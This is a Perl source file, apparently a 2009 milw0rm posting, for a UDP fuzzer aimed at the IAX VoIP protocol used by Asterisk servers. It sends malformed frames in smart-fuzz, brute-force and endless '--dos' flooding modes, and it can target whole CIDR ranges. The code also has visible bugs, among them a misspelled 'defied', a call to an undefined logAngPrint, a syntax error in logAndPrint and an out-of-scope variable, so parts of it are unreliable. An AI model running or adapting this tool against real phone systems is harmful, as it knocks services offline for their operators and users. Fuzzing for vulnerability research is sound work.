#!/usr/bin/perl -w
#udp IAX protocol fuzzer
#Created: Blake Cornell
# Exploits found with this code can be
# found at
# http://www.securityscraper.com/
#Released under the VoIPER project
#
# Do not hesitate to show enthusiasm and support
# and help develop this further.
use strict;
use IO::Socket;
use Getopt::Long;
use Net::Subnets;
use Pod::Usage;
my @target_port = (4569);
my @targets = ('127.0.0.1');
my $result = GetOptions('port|p=i' => \(my $port = ''),
'host|h=s' => \(my $host = ''),
'dos' => \(my $dos = ''),
'bruteforce' => \(my $bruteforce = ''),
'timeout|t=i' => \(my $timeout = ''),
'dust=i' => \(my $dust = ''),
'listen' => \(my $listen = ''),
'verbose|v' => \(my $verbose = ''),
'help|?' => \(my $help = '')) or pod2usage(2);
if($help) { printUsage(); }
if($host) { @targets=@{retHosts($host)}; }
if($port) { $target_port[0] = $port; }
if($listen&&$dos) { print("DoS mode is in Listening Mode\n"); }
for(my $i=0; $i<=$#targets;$i++) {
if($verbose) { print($targets[$i]."\n"); }
fuzzIAX($targets[$i],4569,$timeout);
}
exit;
sub fuzzIAX {
my($target,$port,$timeout,@args)=@_;
if($verbose) { print("Trying $target:$port\n"); }
socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
my %iaxFrameTypes=(
'Nan' => "00",
'DTMF' => "01",
'VOICE' => "02",
'VIDEO' => "03",
'CONTROL' => "04",
'Null' => "05",
'IAXCONTROL' => "06",
'TEXT' => "07",
'IMAGE' => "08",
'HTML' => "09",
'COMFORTNOISE' => "0a",
'Unknown' => "0b",
'Unknown' => "0c",
'Unknown' => "0d",
'Unknown' => "0e",
'Unknown' => "0f");
my %iaxControls=(
'Nan' => "00",
'HANGUP' => "01",
'Reserved' => "02",
'RINGING' => "03",
'ANSWER' => "04",
'BUSY' => "05",
'Reserved' => "06",
'Reserved' => "07",
'CONGESTION' => "08",
'FLASH_HOOK' => "09",
'Reserved' => "0a",
'OPTION' => "0b",
'KEY_RADIO' => "0c",
'UNKEY_RADIO' => "0d",
'CALL_PROGRESS' => "0e",
'CALL_PROCEEDING' => "0f",
'HOLD' => "10",
'UNHOLD' => "11");
my %iaxControlFrames=(
'Nan' => "00",
'NEW' => "01",
'PING' => "02",
'PONG' => "03",
'ACK' => "04",
'HANGUP' => "05",
'REJECT' => "06",
'ACCEPT' => "07",
'AUTHREQ' => "08",
'AUTHREP' => "09",
'INVAL' => "0a",
'LAGRQ' => "0b",
'LAGRP' => "0c",
'REGREQ' => "0d",
'REGAUTH' => "0e",
'REGACK' => "0f",
'REGREJ' => "10",
'REGREL' => "11",
'VNACK' => "12",
'DPREQ' => "13",
'DPREP' => "14",
'DIAL' => "15",
'TXREQ' => "16",
'TXCNT' => "17",
'TXACC' => "18",
'TXREADY' => "19",
'TXREL' => "1a",
'TXREJ' => "1b",
'QUELCH' => "1c",
'UNQUELCH' => "1d",
'POKE' => "1e",
'Reserved' => "1f",
'MWI' => "20",
'UNSUPPORT' => "21",
'TRANSFER' => "22",
'Reserved' => "23",
'Reserved' => "24",
'Reserved' => "25");
my %iaxHTML = (
'SEND_URL' => 1,
'DATA_FRAME' => 2,
'BEGINNING_FRAME' => 4,
'END_FRAME' => 8,
'LOAD_COMPLETE' => 16,
'PEER_NO_HTML' => 17,
'LINK_URL' => 18,
'UNLINK_URL' => 19,
'REJECT_LINK_URL' => 20);
my %iaxIE = (
'CALLED_NUMBER' => "01",
'CALLING_NUMBER' => "02",
'CALLING_ANI' => "03",
'CALLING_NAME' => "04",
'CALLED_CONTEXT' => "05",
'USERNAME' => "06",
'PASSWORD' => "07",
'CAPABILITY' => "08",
'FORMAT' => "09",
'LANGUAGE' => "0a",
'VERSION' => "0b",
'ADSPICE' => "0c",
'DNID' => "0d",
'AUTHMETHODS' => "0e",
'CHALLENGE' => "0f",
'MD5_RESULT' => "10",
'RSA_RESULT' => "11",
'APPARENT_ADDR' => "12",
'REFRESH' => "13",
'DPSTATUS' => "14",
'CALLNO' => "15",
'CAUSE' => "16",
'IAX_UNKNOWN' => "17",
'MSGCOUNT' => "18",
'AUTOANSWER' => "19",
'MUSICONHOLD' => "1a",
'TRANSFERID' => "1b",
'RDNIS' => "1c",
'Reserved' => "1d",
'Reserved' => "1e",
'DATETIME' => "1f",
'Reserved' => "20",
'Reserved' => "21",
'Reserved' => "22",
'Reserved' => "23",
'Reserved' => "24",
'Reserved' => "25",
'CALLINGPRES' => "26",
'CALLINGTON' => "27",
'CALLINGTNS' => "28",
'SAMPLINGRATE' => "29",
'CAUSECODE' => "2a",
'ENCRYPTION' => "2b",
'ENCKEY' => "2c",
'CODEC_PREFS' => "2d",
'RR_JITTER' => "2e",
'RR_LOSS' => "2f",
'RR_PKTS' => "30",
'RR_DELAY' => "31",
'RR_DROPPED' => "32",
'RR_000' => "33");
my %iaxDTMF = (
'0' => 0,
'1' => 1,
'2' => 2,
'3' => 3,
'4' => 4,
'5' => 5,
'6' => 6,
'7' => 7,
'8' => 8,
'9' => 9,
'*' => 10,
'#' => 11,
'A' => 12,
'B' => 13,
'C' => 14,
'D' => 15);
my $MAXLEN = 1024;
my $TIMEOUT = 1;
if(defined($timeout) && $timeout ne '' && $timeout != 0) { #timeout of 0 hangs
#unanswered requests
$TIMEOUT=$timeout;
}
if($dos) {
if($verbose) { print("Dos attempts initiated\n"); }
my $src_call = "8000";
my $dst_call = "0000";
my $timestamp = "00000000";
#use rand sequence information to line up RE issues.
my $outbound_seq = unpack("H2",pack("H2",int(rand(256))));
my $inbound_seq = unpack("H2",pack("H2",int(rand(256))));
#or not
#my $outbound_seq = "00";
#my $inbound_seq = "00";
for(my $i=1; 1==1; $i++) {
foreach my $frame (keys(%iaxFrameTypes)) {
foreach my $subset (keys(%iaxControlFrames)) {
foreach my $ie (keys(%iaxIE)) {
my $out_msg = $src_call .
$dst_call .
$timestamp .
$outbound_seq .
$inbound_seq .
$iaxFrameTypes{$frame} .
$iaxControlFrames{$subset} .
$iaxIE{$ie};
if(my @args = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,$listen,0)) {
if($verbose && $i%1==0) {
print('['.scalar(localtime).'] ');
print($frame.' '.$subset.' '.$ie."\n");
}
}
}
}
}
print "Looping\n";
}
}elsif($bruteforce) {
while(1) {
bruteForceFUZZ($target,$port,$listen,$timeout,\%iaxFrameTypes,\%iaxControlFrames,\%iaxIE);
print("\t\tLooping\n\n");
sleep(5);
}
}else{ ###smart fuzz
my $src_call = "8000";
my $dst_call = "0000";
my $timestamp = "00000000";
my $outbound_seq = "00";
my $inbound_seq = "00";
foreach my $frameType (keys(%iaxFrameTypes)) {
if($frameType eq 'CONTROL') {
foreach my $controlKey (keys(%iaxControls)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControls{$controlKey} . $iaxIE{$ieKey}."00";
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$controlKey." ".$ieKey."\n");
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'IAXCONTROL') {
foreach my $frameKey (keys(%iaxControlFrames)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
logAngPrint('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$frameKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'HTML') {
foreach my $htmlKey (keys(%iaxHTML)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxHTML{$htmlKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$htmlKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'DTMF') {
foreach my $dtmfKey (keys(%iaxDTMF)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxDTMF{$dtmfKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defied($recv[2])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$dtmfKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}elsif($frameType eq 'TEXT') {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . "00"; #text frame types "must" have a subclass of 0?
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' 00 ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}else{
foreach my $frameKey (keys(%iaxControlFrames)) {
foreach my $ieKey (keys(%iaxIE)) {
my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ieKey}.'00';
if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
if(defined($recv[0]) && defined($recv[1])) {
print('['.scalar(localtime).'] ');
print($recv[0].' '.$recv[1].' '.$frameType.' '.$frameKey." ".$ieKey.' ');
}
if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
print(length($recv[2])-length($out_msg)." bytes difference\n");
print($out_msg.' '.$recv[2]."\n");
}
}
}
}
}
}
}
}
sub sendUDPSocket {
my($msg,$target,$port,$timeout,$listen,@args)=@_;
my $MAXLEN=1024;
#my($respaddr,$port);
my $out_msg = pack("H*",$msg);
my $ipaddr = inet_aton($target);
my $sin = sockaddr_in($port,$ipaddr);
send(PING, $out_msg, 0, $sin) == length($out_msg) or die "cannot send to $target : $port : $!\n";
if($listen) {
#sleep(.005);
eval {
local $SIG{ALRM} = sub { die "alarm time out"; };
alarm $timeout;
#alarm $timeout;
while (1) {
my $recvfrom = recv(PING, my $in_msg, $MAXLEN, 0) or die "recv: $!";
($port, $ipaddr) = sockaddr_in($recvfrom);
my $respaddr = inet_ntoa($ipaddr);
if($verbose) {
displayIAXRaw($respaddr,$port,$respaddr,$out_msg,$in_msg);
}
return($respaddr,$port,unpack("H*",$in_msg));
}
};
return 0;
}
}
sub bruteForceFUZZ {
my($target,$port,$listen,$timeout,$refFrameTypes,$refControlFrames,$refIE,@args)=@_;
my %iaxFrameTypes=%{$refFrameTypes};
my %iaxControlFrames=%{$refControlFrames};
my %iaxIE=%{$refIE};
for(my $a=32768;$a<=32768;$a++) {# Full Packet 4byte
for(my $b=0;$b<=0;$b++) {# Dest Call 4byte
for(my $c=0;$c<=0;$c++) {# Timestamp 8byte
#for(my $d=0;$d<=0;$d++) {# Out Seq # 2byte
my $loopD=1;
#for(my $d=unpack("H2",pack("H2",int(rand(256))));$loopD;$d++) {# Out Seq # 2byte
# $loopD=0;
my $outbound_seq = unpack("H2",pack("H2",int(rand(256))));
my $inbound_seq = unpack("H2",pack("H2",int(rand(256))));
#if($verbose) {print(sprintf("%04x",$a)." ".sprintf("%04x",$b)." ".sprintf("%08x",$c)." ".sprintf("%02x",$d)."\n"); }
for(my $d=0;1;$d++) {
for(my $e=0;1;$e++) {# In Seq # 2byte
foreach my $frameType (keys(%iaxFrameTypes)) {
foreach my $frameKey (keys(%iaxControlFrames)) {
foreach my $ie (keys(%iaxIE)) {
for(my $f=0;$f<=0;$f++) {
my $maxDust=10;
if($listen) { $maxDust/=2; }
if(defined($dust) && length($dust) > 0) { $maxDust=$dust; }
for(my $z=1;$z<=$maxDust;$z++) {
my $len = int(rand(9));
my $box= int(rand("9"x(($len+1))));
for(my $zz=1;$zz<=$maxDust;$zz++) {
my $hex_msg = sprintf("%04x",$a).sprintf("%04x",$b).sprintf("%08x",$c).sprintf("%02x",$d).sprintf("%02x",$e). $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ie} . sprintf("%02x",$f) . sprintf("%0".$len."x",$box);
if($verbose) {print("[" . scalar(localtime) . "] '" . $frameType."_".$frameKey."_".$ie."_".sprintf("%02x",$f)."_".sprintf("%0".$len."x",$box)."'\n"); }
foreach my $var (sendUDPSocket($hex_msg,$target,$port,1,$listen)) { if($verbose) { print($var."_"); } }
}
}}}}}}}}}} #<------ VERY IMPORTANT
}
sub retIAXHostActive {
my($target,$port,@args)=@_;
my $out_msg='';
if(my @recv = sendUDPSocket($out_msg,$target,$port,1,1)) {
return 1;
}
return 0;
}
sub retHosts {
my($host,@args)=@_;
my @addrs;
if(!$host) { return ('127.0.0.1') };
if($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})\/([\d]{1,2})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255) {
#Check to see if host is valid class C CIDR Address
if($verbose) { print("Setting CIDR Address Range\n"); }
my $sn = Net::Subnets->new;
my($low,$high)=$sn->range(\$host);
if($verbose) { print("Determined IP Ranges From $$low - $$high\n"); }
return \@{ $sn->list(\($$low,$$high)) };
}elsif($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255) {
#Check to see if host is valid IP
push(@addrs,"$1.$2.$3.$4");
}else{
push(@addrs,$host);
}
return \@addrs;
}
sub displayIAXRaw {
my($respaddr,$port,$out_msg,$in_msg)=@_;
if(defined($in_msg) && unpack("H*",$in_msg) ne '80000000000000000000060a') {
print("[" . scalar(localtime) . "] $respaddr:$port\t$respaddr\t" . unpack("H*",$out_msg) . "\t". unpack("H*",$in_msg) . "\n");
}elsif(defined($respaddr) && defined($port)) {
print(scalar(localtime) . " $respaddr:$port\t$respaddr\n");
}
}
sub displayIAXPacket {
my($hex_msg,@args)=@_;
my $width=32/8;
for(my $i=0;$i*$width<=length($hex_msg);$i++) {
print(substr($hex_msg,$i*$width,$width)."\n");
}
#print $hex_msg."\n";
}
sub printUsage {
print "$0 --dos\n\t\tWill loop through known or manually preset packet combinations.\n";
print "$0 --bruteforce\n\t\tBrute force fuzzes on default port of 4569. It will try random data packaging at the end of a valid packet. It will by default send 10 per each packet.\n";
print "$0 -h 127.0.0.1 --bruteforce --dust 1\n\t\tBrute force fuzzes on default port of 4569. It will try random data packaging at the end of a valid packet. It will only send 1 of each packet.\n";
print "$0 \n\t\tScans the loopback interface by rough usage from IETF guidelines.\n";
exit;
}
sub logAndPrint {
my($string,@args)=@);
if(1==1 || defined($string)) {
print $string;
open(FLE,">>$0_logs_[".scalar(localtime)."] $string");
print FLE $string;
close(FLE);
}
}
# milw0rm.com [2009-06-12]